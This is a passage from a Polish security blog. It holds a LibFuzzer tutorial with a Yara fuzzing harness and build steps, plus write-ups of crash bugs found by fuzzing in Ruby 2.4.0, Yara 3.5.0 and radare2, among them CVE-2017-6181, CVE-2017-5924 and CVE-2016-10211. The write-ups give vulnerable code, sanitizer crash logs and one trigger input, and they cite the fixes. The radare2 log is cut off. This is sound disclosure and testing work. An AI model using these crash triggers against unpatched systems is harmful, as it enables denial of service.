LLVM LibFuzzer – Fast track #1

Słowo wstępu

Dużo ostatnio było o podatnościach – straciłem rachubę ile było to postów pod rząd 😉

W tym poście chciałbym przybliżyć bardzo ciekawy projekt LLVM LibFuzzer, w którym poziom testowania przeniesiony jest na poziom funkcji a nie całych binarek. Oczywiście generuje to pewne problemy, jak i również ma wiele zalet – ale o tym za chwilę.

Jako rekomendację dodam, że LLVM LibFuzzer używany jest przez Google’a do testowania Chromium oraz innych projektów w ramach ClusterFuzz oraz OSS-Fuzz.

O co w ogóle chodzi?

Generalnie o to aby było szybko i efektywnie – LibFuzzer wykonuje cały proces fuzzowania w pamięci, bez dotykania HDD (chyba, że znajdzie crasha 😉 ). Dodatkowo wykorzystuje AddressSanitizer, MemorySanitizer oraz UndefinedBehaviorSanitizer, co pozwala wykrywać różne problemy z pamięcią programu, nawet jeżeli dostarczone dane nie spowodują całkowitej awarii w normalnej wersji programu (np. błędy typu out of bounds read).

Czym różni się to od persistent mode w American Fuzzy Lop?

Generalnie niczym – poza tym, że musimy sobie sami napisać fuzzer tego co chcemy testować (bez logiki “mieszania” danych wejściowych). W tym miejscu rada za 100 punktów: zwalniajmy pamięć w naszych fuzzerach – bardzo szybko jesteśmy w stanie wysycić cały dostępny RAM (mój osobisty rekord to 30 GB; domyślne ograniczenie to 2GB 😉 )

Całość wygląda jak na załączonym poniżej listingu (dla projektu Yara) – “mięso” zaczyna się w 19. linijce:

#include <stdlib.h>
#include <string>
#include <yara.h>

typedef struct COMPILER_RESULTS
{
  int errors;
  int warnings;
} COMPILER_RESULTS;

int callback(int message, void* message_data, void* user_data)
{
   return 0;
}

std::string file_path = "/usr/bin/strings";
int timeout = 1000000;

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
    COMPILER_RESULTS cr;
    YR_COMPILER* compiler = NULL;
    YR_RULES* rules = NULL;
    std::string s(reinterpret_cast<const char *>(Data), Size);
    
    yr_initialize();
    
    if (yr_compiler_create(&compiler) != ERROR_SUCCESS){
	return 0;
    }
    
    if (yr_compiler_add_string(compiler, s.c_str(), NULL) == 0)
    {
        if (yr_compiler_get_rules(compiler, &rules) == ERROR_SUCCESS)
        {

	    yr_rules_scan_file(rules,
		               file_path.c_str(),
		               0,
		               callback,
		               NULL,
		               timeout);

        }
    }
  
    if(compiler != NULL) {
    	yr_compiler_destroy(compiler);  
    }
    
    if(rules != NULL) {
    	yr_rules_destroy(rules);
    }
    
    yr_finalize();
    return 0;
}

Dużo przykładów gotowych fuzzerów dla projektów open-source można znaleźć tutaj i tutaj.

A tutaj pełen tutorial w przypadku, kiedy mamy już pomysły na własne fuzzery 🙂

Chcę to mieć, jak to zrobić?

Jedynym wymaganiem jest skomplilowanie testowanego projektu wraz Clangiem 5.0 i odpowiednimi flagami. Działać będziemy na wcześniej wspomnianym projekcie Yara.

Pobieramy najnowszego Clanga (skrypt tutaj):

mkdir TMP_CLANG
cd TMP_CLANG
git clone https://chromium.googlesource.com/chromium/src/tools/clang
cd ..
TMP_CLANG/clang/scripts/update.py
sudo cp -rf  third_party/llvm-build/Release+Asserts/lib/clang /usr/local/lib/
sudo cp -rf third_party/llvm-build/Release+Asserts/bin/* /usr/local/bin

Ściągamy najnowszą wersję LibFuzzera:

svn co http://llvm.org/svn/llvm-project/llvm/trunk/lib/Fuzzer 
./Fuzzer/build.sh

Klonujemy repozytorium Yary i kompilujemy ją z odpowiednimi flagami:

git clone https://github.com/VirusTotal/yara
cd yara
./bootstrap.sh
CC=clang -O2 -fno-omit-frame-pointer -g -fsanitize=address -fsanitize-coverage=trace-pc-guard,trace-cmp,trace-gep,trace-div ./configure
make

W tym miejscu na chwilę przerwiemy działanie w trybie copy & paste i wyjaśnię do czego służą w/w flagi Clanga:

  • -fno-omit-frame-pointer – “ładne” stack-trace’y
  • -fsanitize=address – włączenie AddressSanitizera
  • -fsanitize-coverage – włączenie obsługi badania pokrycia kodu (SanitizerCoverage) – drugi post będzie całkowicie poświęcony temu zagadnieniu
    • trace-pc-guard – podstawowa metoda badania code coverage’u dla fuzzera, brak tej opcji powoduje niemożność korzystania z LibFuzzera
    • trace-cmp – śledzenie zmian flow programu podczas instrukcji porównania oraz switch
    • trace-div – śledzenie argumentów dzielenia liczb całkowitych
    • trace-gep – śledzenie indeksów w buforach (dla dociekliwych czytelników)

Klonujemy repozytorium z gotowym korpusem testowym dla Yary:

git clone https://github.com/fumfel/yara-fuzzing-corpus

Kompilujemy fuzzer z wcześniejszej części posta (zwracam kolejny raz uwagę na flagi kompilacji):

clang++ -std=c++11 yara_fuzzer.cc -Iyara/libyara/include/ ./yara/libyara/.libs/libyara.a ./libFuzzer.a -O2 -fno-omit-frame-pointer -g -fsanitize=address -fsanitize-coverage=trace-pc-guard,trace-cmp,trace-gep,trace-div -lcrypto -lssl -o yara_fuzzer

Minimalizujemy korpus (przełącznik -merge=1) – nie wszystkie przypadki testowe są użyteczne:

» ./yara_fuzzer -merge=1  yara-fuzzing-corpus-min/ yara-fuzzing-corpus/
INFO: Seed: 1335465087
INFO: Loaded 1 modules (33 guards): [0x86adf0, 0x86ae74), 
INFO: -max_len is not provided, using 1048576
MERGE-OUTER: 1114 files, 0 in the initial corpus
MERGE-OUTER: attempt 1
INFO: Seed: 1356956865
INFO: Loaded 1 modules (33 guards): [0x86adf0, 0x86ae74), 
INFO: -max_len is not provided, using 1048576
MERGE-INNER: using the control file '/tmp/libFuzzerTemp.4178.txt'
MERGE-INNER: 1114 total files; 0 processed earlier; will process 1114 files now
#1	pulse  cov: 13 exec/s: 0 rss: 33Mb
#2	pulse  cov: 13 exec/s: 0 rss: 33Mb
#4	pulse  cov: 13 exec/s: 0 rss: 34Mb
#8	pulse  cov: 13 exec/s: 0 rss: 36Mb
#16	pulse  cov: 13 exec/s: 0 rss: 40Mb
#32	pulse  cov: 21 exec/s: 0 rss: 47Mb
#64	pulse  cov: 21 exec/s: 0 rss: 63Mb
#128	pulse  cov: 21 exec/s: 0 rss: 92Mb
#256	pulse  cov: 21 exec/s: 0 rss: 151Mb
#256	pulse  cov: 21 exec/s: 128 rss: 311Mb
#512	pulse  cov: 21 exec/s: 256 rss: 311Mb
#1024	pulse  cov: 21 exec/s: 381 rss: 311Mb
MERGE-OUTER: the control file has 139186 bytes
MERGE-OUTER: consumed 0Mb (31Mb rss) to parse the control file
MERGE-OUTER: 6 new files with 23 new features added

Jak widać wstępny korpus generalnie jest słaby (niska wartość parametru pokrycia kodu “cov” – 23), lecz nie przejmujemy się tym i odpalamy fuzzer 🙂

Parametry:

  • -detect_leaks=0 – nie “łapiemy” wycieków pamięci
  • -max_total_time=60 – czas działania fuzzera w sekundach
  • -print_final_stats=1 – wyświetlenie podumowania pracy
» ./yara_fuzzer -detect_leaks=0 -max_total_time=60 -print_final_stats=1 yara-fuzzing-corpus-min/
INFO: Seed: 3862824616
INFO: Loaded 1 modules (33 guards): [0x86adf0, 0x86ae74), 
Loading corpus dir: yara-fuzzing-corpus-min/
INFO: -max_len is not provided, using 220
#0	READ units: 7
#7	INITED cov: 23 ft: 24 corp: 7/382b exec/s: 0 rss: 38Mb
#8192	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2730 rss: 184Mb
#16384	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2730 rss: 192Mb
#32768	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2520 rss: 202Mb
#65536	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2340 rss: 210Mb
#131072	pulse  cov: 23 ft: 24 corp: 7/382b exec/s: 2299 rss: 213Mb
#137987	DONE   cov: 23 ft: 24 corp: 7/382b exec/s: 2262 rss: 216Mb
Done 137987 runs in 61 second(s)
stat::number_of_executed_units: 137987
stat::average_exec_per_sec:     2262
stat::new_units_added:          0
stat::slowest_unit_time_sec:    0
stat::peak_rss_mb:              216

To by było na tyle w tej części – umiemy już odpalać fuzzery oraz wiemy jak wyglądają.

W kolejnej odsłonie fast tracka przedstawię badanie pokrycia kodu za pomocą SanitizerCoverage oraz tuning efektywności fuzzera 🙂

[CVE-2017-6181] Ruby 2.4.0 – Stack Overflow

Słowo wstępu

Chwila odpoczynku od projektów wykorzystywanych w branży bezpieczeństwa – dzisiejszym targetem jest interpreter języka Ruby, podstawy popularnego frameworka webowego Ruby on Rails – obecnego w kodzie takich serwisów jak GitHub, BaseCamp, AirBnb czy Twitch.

Krótki opis podatności

Błąd znajdował się w wersji 2.4.0, a więc na dzień pisania posta ostatniej stabilnej (Git HEAD: fbd5cda6aad6db01bbca3d893a9970314a1bd52c).

Funkcja parsująca wyrażenie regularne, przed sprawdzeniem głębokości wyrażenia regularnego, nie inicjalizowała zwracanej wartości, tylko tuż za nim (sprawdzeniem). Powodowało to przy odpowiednio “dużym” wyrażeniu regularnym za dużą alokację ilości ramek stosu dla rekurencyjnie wywoływanej funkcji i w konsekwencji jego przepełnienie.

Naprawa tego błędu była bardzo prosta i polegała na przeniesieniu linijki odpowiedzialnej za inicjalizację zmiennej o 4 linie w górę.

Poniżej podatna funkcja z zaznaczonym błędem:

static int
parse_char_class(Node** np, Node** asc_np, OnigToken* tok, UChar** src, UChar* end,
		 ScanEnv* env)
{
  int r, neg, len, fetched, and_start;
  OnigCodePoint v, vs;
  UChar *p;
  Node* node;
  Node* asc_node;
  CClassNode *cc, *prev_cc;
  CClassNode *asc_cc, *asc_prev_cc;
  CClassNode work_cc, asc_work_cc;

  enum CCSTATE state;
  enum CCVALTYPE val_type, in_type;
  int val_israw, in_israw;
 
  env->parse_depth++;
  if (env->parse_depth > ParseDepthLimit)
    return ONIGERR_PARSE_DEPTH_LIMIT_OVER;
  prev_cc = asc_prev_cc = (CClassNode* )NULL;
  *np = *asc_np = NULL_NODE;
  r = fetch_token_in_cc(tok, src, end, env);
  if (r == TK_CHAR && tok->u.c == '^' && tok->escaped == 0) {
    neg = 1;
    r = fetch_token_in_cc(tok, src, end, env);
  }
  else {
    neg = 0;
}

Payload triggerujący tą lukę był bardzo prosty – 4096 razy ‘[‘ w wyrażeniu regularnym Ruby.

Log błędu:


[BUG] Segmentation fault at 0x00006e0000005b
ruby 2.5.0dev (2017-02-18 trunk 57652) [x86_64-linux]

-- Control frame information -----------------------------------------------
c:0001 p:0000 s:0003 E:000c70 (none) [FINISH]


-- Machine register context ------------------------------------------------
RIP: 0x0000562fdcb53209 RBP: 0x0000562fdcf929b0 RSP: 0x00007ffea4154b40
RAX: 0x0000000000002431 RBX: 0x0000000000000000 RCX: 0x0000562fdcfa32d0
RDX: 0x00007ffea4294c30 RDI: 0x0000006e0000005b RSI: 0x00007ffea4154c10
R8: 0x0000562fddd7422a  R9: 0x0000562fdcf929b0 R10: 0x00007f977f639ba8
R11: 0x0000000000000001 R12: 0x0000562fdcf929b0 R13: 0x0000006e0000005b
R14: 0x0000562fdccf5aa0 R15: 0xfffffffffffffffc EFL: 0x0000000000010202

-- C level backtrace information -------------------------------------------
/XYZ/ruby/miniruby(rb_vm_bugreport+0x2b7) [0x562fdccbc2f7] vm_dump.c:683
/XYZ/ruby/miniruby(rb_bug_context+0x2e6) [0x562fdc981a86] error.c:520
/XYZ/ruby/miniruby(sigsegv+0x6a) [0x562fdcb842fa] signal.c:907
/lib/x86_64-linux-gnu/libpthread.so.0 [0x7f977fd95390]
/XYZ/ruby/miniruby(onig_node_free+0x79) [0x562fdcb53209] regparse.c:1065
/XYZ/ruby/miniruby(parse_char_class+0x28ae) [0x562fdcb6c08e] regparse.c:4824
/XYZ/ruby/miniruby(parse_char_class+0x2194) [0x562fdcb6b974] regparse.c:4814
=================== SNIP (1015 wierszy) ===================
/XYZ/ruby/miniruby(parse_char_class+0x2194) [0x562fdcb6b974] regparse.c:4814
/XYZ/ruby/miniruby(parse_char_class+0x2194) [0x562fdcb6b974] regparse.c:4814

-- Other runtime information -----------------------------------------------

* Loaded script: id:000000,sig:06,src:000106+002150,op:splice,rep:128

* Loaded features:

0 enumerator.so
1 thread.rb
2 rational.so
3 complex.so

* Process memory map:

562fdc86c000-562fdcd8d000 r-xp 00000000 fc:00 849526
/XYZ/ruby/miniruby
562fdcf8c000-562fdcf92000 r--p 00520000 fc:00 849526
/XYZ/ruby/miniruby
562fdcf92000-562fdcf93000 rw-p 00526000 fc:00 849526
/XYZ/ruby/miniruby
562fdcf93000-562fdcfb4000 rw-p 00000000 00:00 0
562fddc4d000-562fddde4000 rw-p 00000000 00:00 0
[heap]
7f977e13d000-7f977ed88000 r--s 00000000 fc:00 849526
/XYZ/ruby/miniruby
7f977ed88000-7f977ed9e000 r-xp 00000000 fc:00 392981
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f977ed9e000-7f977ef9d000 ---p 00016000 fc:00 392981
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f977ef9d000-7f977ef9e000 rw-p 00015000 fc:00 392981
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f977ef9e000-7f977f276000 r--p 00000000 fc:00 6318
/usr/lib/locale/locale-archive
7f977f276000-7f977f435000 r-xp 00000000 fc:00 415253
/lib/x86_64-linux-gnu/libc-2.23.so
7f977f435000-7f977f635000 ---p 001bf000 fc:00 415253
/lib/x86_64-linux-gnu/libc-2.23.so
7f977f635000-7f977f639000 r--p 001bf000 fc:00 415253
/lib/x86_64-linux-gnu/libc-2.23.so
7f977f639000-7f977f63b000 rw-p 001c3000 fc:00 415253
/lib/x86_64-linux-gnu/libc-2.23.so
7f977f63b000-7f977f63f000 rw-p 00000000 00:00 0
7f977f63f000-7f977f747000 r-xp 00000000 fc:00 415258
/lib/x86_64-linux-gnu/libm-2.23.so
7f977f747000-7f977f946000 ---p 00108000 fc:00 415258
/lib/x86_64-linux-gnu/libm-2.23.so
7f977f946000-7f977f947000 r--p 00107000 fc:00 415258
/lib/x86_64-linux-gnu/libm-2.23.so
7f977f947000-7f977f948000 rw-p 00108000 fc:00 415258
/lib/x86_64-linux-gnu/libm-2.23.so
7f977f948000-7f977f951000 r-xp 00000000 fc:00 415255
/lib/x86_64-linux-gnu/libcrypt-2.23.so
7f977f951000-7f977fb50000 ---p 00009000 fc:00 415255
/lib/x86_64-linux-gnu/libcrypt-2.23.so
7f977fb50000-7f977fb51000 r--p 00008000 fc:00 415255
/lib/x86_64-linux-gnu/libcrypt-2.23.so
7f977fb51000-7f977fb52000 rw-p 00009000 fc:00 415255
/lib/x86_64-linux-gnu/libcrypt-2.23.so
7f977fb52000-7f977fb80000 rw-p 00000000 00:00 0
7f977fb80000-7f977fb83000 r-xp 00000000 fc:00 415252
/lib/x86_64-linux-gnu/libdl-2.23.so
7f977fb83000-7f977fd82000 ---p 00003000 fc:00 415252
/lib/x86_64-linux-gnu/libdl-2.23.so
7f977fd82000-7f977fd83000 r--p 00002000 fc:00 415252
/lib/x86_64-linux-gnu/libdl-2.23.so
7f977fd83000-7f977fd84000 rw-p 00003000 fc:00 415252
/lib/x86_64-linux-gnu/libdl-2.23.so
7f977fd84000-7f977fd9c000 r-xp 00000000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f977fd9c000-7f977ff9b000 ---p 00018000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f977ff9b000-7f977ff9c000 r--p 00017000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f977ff9c000-7f977ff9d000 rw-p 00018000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f977ff9d000-7f977ffa1000 rw-p 00000000 00:00 0
7f977ffa1000-7f977ffc7000 r-xp 00000000 fc:00 394124
/lib/x86_64-linux-gnu/ld-2.23.so
7f9780095000-7f97800b7000 r--s 00000000 fc:00 415259
/lib/x86_64-linux-gnu/libpthread-2.23.so
7f97800b7000-7f97801bc000 rw-p 00000000 00:00 0
7f97801c0000-7f97801c1000 ---p 00000000 00:00 0
7f97801c1000-7f97801c6000 rw-p 00000000 00:00 0
7f97801c6000-7f97801c7000 r--p 00025000 fc:00 394124
/lib/x86_64-linux-gnu/ld-2.23.so
7f97801c7000-7f97801c8000 rw-p 00026000 fc:00 394124
/lib/x86_64-linux-gnu/ld-2.23.so
7f97801c8000-7f97801c9000 rw-p 00000000 00:00 0
7ffea3a99000-7ffea4298000 rw-p 00000000 00:00 0
[stack]
7ffea42fa000-7ffea42fc000 r--p 00000000 00:00 0
[vvar]
7ffea42fc000-7ffea42fe000 r-xp 00000000 00:00 0
[vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
[vsyscall]


[NOTE]
You may have encountered a bug in the Ruby interpreter or extension
libraries.
Bug reports are welcome.
For details: http://www.ruby-lang.org/bugreport.html

Issue #13234 na Redmine projektu

Commit naprawiający: ea940cc4dcff8d6c345d7015eda0bf06671f87e9

CVE: CVE-2017-6181

[CVE-2017-5924] Yara 3.5.0 – Use after free #2

Słowo wstępu

Kolejny tydzień – kolejne use-after-free w Yarze 🙂

Dla osób które nie znają backgroundu lub chciałyby dowiedzieć się więcej o “moich” błędach w tym projekcie – odsyłam tutaj i tutaj.

Krótki opis podatności

Błąd znajdował się w wersji 3.5.0 (Git HEAD: 890c3f850293176c0e996a602ffa88b315f4e98f) – jest to commit naprawiający poprzednie use-after-free.

Biblioteka LibYara nie sprawdzała czy głębokość wyrażenia w regule Yara jest większa od zera – zakładała zawsze, że tak jest. Powodowało to oczywisty problem wyjścia poza zakres zaalokowanej pamięci w przypadku wartości mniejszych lub równych zero (stary, dobry Integer Underflow).

Problem widać wyraźnie w poniższym fragmencie pliku yara/libyara/grammar.y:

 | _FOR_ for_expression error
      {
        compiler->loop_depth--;
        compiler->loop_identifier[compiler->loop_depth] = NULL;
}

Natomiast do samego użycia zwolnionej pamięci dochodziło w trakcie pracy destruktora w kompilatorze reguł. Za każdą iteracją pętli zwalniana była część pamięci wykraczająca poza obszar zarezerwowany do danego wyrażenia.

W pewnym momencie (w zależności od długości wyrażenia w regule Yara) dochodziło do sytuacji w której pamięć dla następnego wyrażenia została zwolniona, a destruktor próbował odczytać ją jako następny element w liście (zaznaczona poniżej linijka w pliku yara/libyara/compiler.c).

  for (i = 0; i < compiler->file_name_stack_ptr; i++)
    yr_free(compiler->file_name_stack[i]);

  fixup = compiler->fixup_stack_head;

  while (fixup != NULL)
  {
    YR_FIXUP* next_fixup = fixup->next;
    yr_free(fixup);
    fixup = next_fixup;
  }
yr_free(compiler);

Log z ASAN:

==10220==ERROR: AddressSanitizer: heap-use-after-free on address 0x63100003c862 at pc 0x0000004ef7f5 bp 0x7ffc9082a5d0 sp 0x7ffc9082a5c8
READ of size 8 at 0x63100003c862 thread T0
    #0 0x4ef7f4 in yr_compiler_destroy XYZ/yara/libyara/compiler.c:165:35
    #1 0x4ede04 in main XYZ/yara/yara.c:1242:5
    #2 0x7f05302fa82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #3 0x41a408 in _start (/usr/local/bin/yara+0x41a408)

0x63100003c862 is located 98 bytes inside of 65536-byte region [0x63100003c800,0x63100004c800)
freed by thread T0 here:
    #0 0x4b88cb in __interceptor_free /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x587ab3 in yr_arena_destroy XYZ/yara/libyara/arena.c:300:5
    #2 0x7f05302fa82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x4b8c1c in malloc /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
    #1 0x58774f in _yr_arena_new_page XYZ/yara/libyara/arena.c:92:34
    #2 0x58774f in yr_arena_create XYZ/yara/libyara/arena.c:246

SUMMARY: AddressSanitizer: heap-use-after-free XYZ/yara/libyara/compiler.c:165:35 in yr_compiler_destroy
Shadow bytes around the buggy address:
  0x0c627ffff8b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627ffff8c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627ffff8d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627ffff8e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c627ffff8f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c627ffff900: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd
  0x0c627ffff910: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c627ffff920: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c627ffff930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c627ffff940: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c627ffff950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==10220==ABORTING

Issue #593 na GitHubie

Commit naprawiający: 7f02eca670f29c00a1d2c305e96febae6ce5d37b

CVE: CVE-2017-5924

[CVE-2016-10211] Yara 3.5.0 – Use after free #1

Słowo wstępu

Kontyunuując temat niebezpiecznych narzędzi (w ostatniej odsłonie było radare2) dla osób związanych z bezpieczeństwem IT – kolejny już wpis o Yarze. Temat motywacji testów oraz funkcjonalności projektu opisałem we wcześniejszym poście, więc oszczędze przynudzania czytelnikom 🙂

Krótki opis podatności

Błąd znajdował się w wersji 3.5.0 (Git HEAD: 779b9a77aa4377152a5cba031255029afb0c19a5).

LibYara w poszukiwaniu identyfikatorów w regułce, przekracza zakres zaalokowanego na nie miejsca i próbuje odczytać adres z pamięci w którym znajdowały się wcześniej wyrażenia regularne.

Rzucając okiem na commita naprawiającego widać wyraźnie, że parsując gramatyki za pomocą YACC trzeba ostrożnie podchodzić do zarządzania pamięcią 😉

Log z ASAN:

==17551==ERROR: AddressSanitizer: heap-use-after-free on address 0x60200000ed50 at pc 0x000000425ff6 bp 0x7fff57ebe190 sp 0x7fff57ebd920
READ of size 1 at 0x60200000ed50 thread T0
    #0 0x425ff5 in __interceptor_strcmp /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:284:3
    #1 0x5a85cf in yr_parser_lookup_loop_variable XYZ/yara/libyara/parser.c:282:9
    #2 0x57536e in yara_yyparse XYZ/yara/libyara/grammar.y:569:25
    #3 0x50c3d0 in yr_lex_parse_rules_file XYZ/yara/libyara/lexer.l:815:3
    #4 0x4f097e in yr_compiler_add_file XYZ/yara/libyara/compiler.c:357:12
    #5 0x4ee0c4 in main XYZ/yara/yara.c:1124:17
    #6 0x7fe78bf2982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x41a408 in _start (/usr/local/bin/yara+0x41a408)

0x60200000ed50 is located 0 bytes inside of 2-byte region [0x60200000ed50,0x60200000ed52)
freed by thread T0 here:
    #0 0x4b88cb in __interceptor_free /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x580ac8 in yydestruct XYZ/yara/libyara/grammar.y:202:9
    #2 0x50c3d0 in yr_lex_parse_rules_file XYZ/yara/libyara/lexer.l:815:3

previously allocated by thread T0 here:
    #0 0x4a59f6 in __strdup /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:578:3
    #1 0x4ff501 in yara_yylex XYZ/yara/libyara/lexer.l:438:22
    #2 0x573528 in yara_yyparse XYZ/yara/libyara/grammar.c:1573:16
    #3 0x50c3d0 in yr_lex_parse_rules_file XYZ/yara/libyara/lexer.l:815:3

SUMMARY: AddressSanitizer: heap-use-after-free /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:284:3 in __interceptor_strcmp
Shadow bytes around the buggy address:
  0x0c047fff9d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9d70: fa fa fa fa fa fa fa fa fa fa 02 fa fa fa 00 fa
  0x0c047fff9d80: fa fa 01 fa fa fa 00 00 fa fa 00 00 fa fa 00 00
  0x0c047fff9d90: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 02 fa
=>0x0c047fff9da0: fa fa 00 00 fa fa fd fa fa fa[fd]fa fa fa fd fa
  0x0c047fff9db0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
  0x0c047fff9dc0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa fd fd
  0x0c047fff9dd0: fa fa fd fa fa fa 00 fa fa fa 01 fa fa fa 00 00
  0x0c047fff9de0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
  0x0c047fff9df0: fa fa 00 00 fa fa fd fa fa fa 00 fa fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==17551==ABORTING

Issue #575 na GitHubie

Commit naprawiający: 890c3f850293176c0e996a602ffa88b315f4e98f

CVE: CVE-2016-10211

radare2 – Use after free

Słowo wstępu

Projekt radare2, z racji moich zainteresowań oraz wykonywanej pracy jest mi dosyć bliski. Narzędzia wykorzystywane do analizy binarnej plików, są w mojej opinii fenomenalnym wektorem ataku na zaawansowanego użytkownika  – rzadko kiedy ktoś zastanawia się nad tym, czy odpalany plik jest potencjalnie niebezpieczny, nie zdając sobie sprawy co dzieje się “pod spodem”, w momencie jego ładowania. 

Znane podatności w tego typu oprogramowaniu mogą zostać wykorzystane przez malware, celem utrudnienia lub uniemożliwienia analizy za pomocą konkretnego narzędzia. Dla dociekliwych dwa linki o tej tematyce od lcamtufa oraz j00ru (polecam obydwa!).

Pomijając wcześniejsze rozważania, sam rzut oka na obsługiwaną ilość formatów zachęca do poszukiwania błędów w ich implementacji (przypomnę tylko, że projekt utrzymuje również wielki zbiór przypadków testowych idealnych do fuzzingu) 😉

r2 is a rewrite from scratch of radare in order to provide a set of libraries and tools to work with binary files.

Radare project started as a forensics tool, a scriptable commandline hexadecimal editor able to open disk files, but later support for analyzing binaries, disassembling code, debugging programs, attaching to remote gdb servers, ..

radare2 is portable.

  • Architectures: * 6502, 8051, CRIS, H8/300, LH5801, T8200, arc, arm, avr, bf, blackfin, xap, dalvik, dcpu16, gameboy, i386, i4004, i8080, m68k, malbolge, mips, msil, msp430, nios II, powerpc, rar, sh, snes, sparc, tms320 (c54x c55x c55+), V810, x86-64, zimg, risc-v.
  • File Formats:
    • bios, CGC, dex, elf, elf64, filesystem, java, fatmach0, mach0, mach0-64, MZ, PE, PE+, TE, COFF, plan9, dyldcache, Commodore VICE emulator, Game Boy (Advance), Nintendo DS ROMs and Nintendo 3DS FIRMs.
  • Operating Systems:
    • Android, GNU/Linux, [Net|Free|Open]BSD, iOS, OSX, QNX, w32, w64, Solaris, Haiku, FirefoxOS
  • Bindings:
    • Vala/Genie, Python (2, 3), NodeJS, LUA, Go, Perl, Guile, php5, newlisp, Ruby, Java, OCaml, …

Po długim wstępie, krótki opis podatności

Błąd znajdował się w wersji 0.9 (Git HEAD: f49448faf03c2faff8c79a99b28872e8a931efb6).

Niewłaściwa obsługa zarządzania pamięcią w module analizującym skompilowane klasy Java powodowała, na etapie późniejszym, odczyt 4 bajtów zwolnionej pamięci w funkcji ustalającej konwencję wywołania funkcji (powtórzenie zamierzone). Dla ciekawskich, błąd wymagał wprowadzenia zmian w siedmiu plikach oraz dopisania dodatkowych 98 linijek kodu.

W obrazowy sposób pokazuje to z jaką dozą ostrożności trzeba podchodzić do “ręcznego” zarządzania pamięcią w językach programowania C oraz C++. Dociekliwym czytelnikom z poprzedniego zdania polecam również przejrzeć commita naprawiającego 🙂

Log z ASAN:

==35187==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000005ce8 at pc 0x7ff97c5f0585 bp 0x7ffc1c0b2f10 sp 0x7ffc1c0b2f08
READ of size 4 at 0x611000005ce8 thread T0
 #0 0x7ff97c5f0584 in fcn_callconv XYZ/radare2/libr/core/anal.c:2001
 #1 0x7ff97c5f0584 in ?? ??:0
 #2 0x7ff97c5f4b5c in r_core_anal_all XYZ/radare2/libr/core/anal.c:2536
 #3 0x7ff97c5f4b5c in ?? ??:0
 #4 0x7ff97c543480 in cmd_anal_all XYZ/radare2/libr/core/./cmd_anal.c:4503
 #5 0x7ff97c543480 in ?? ??:0
 #6 0x7ff97c50173a in cmd_anal XYZ/radare2/libr/core/./cmd_anal.c:4829
 #7 0x7ff97c50173a in ?? ??:0
 #8 0x7ff97c5e6c6c in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:213
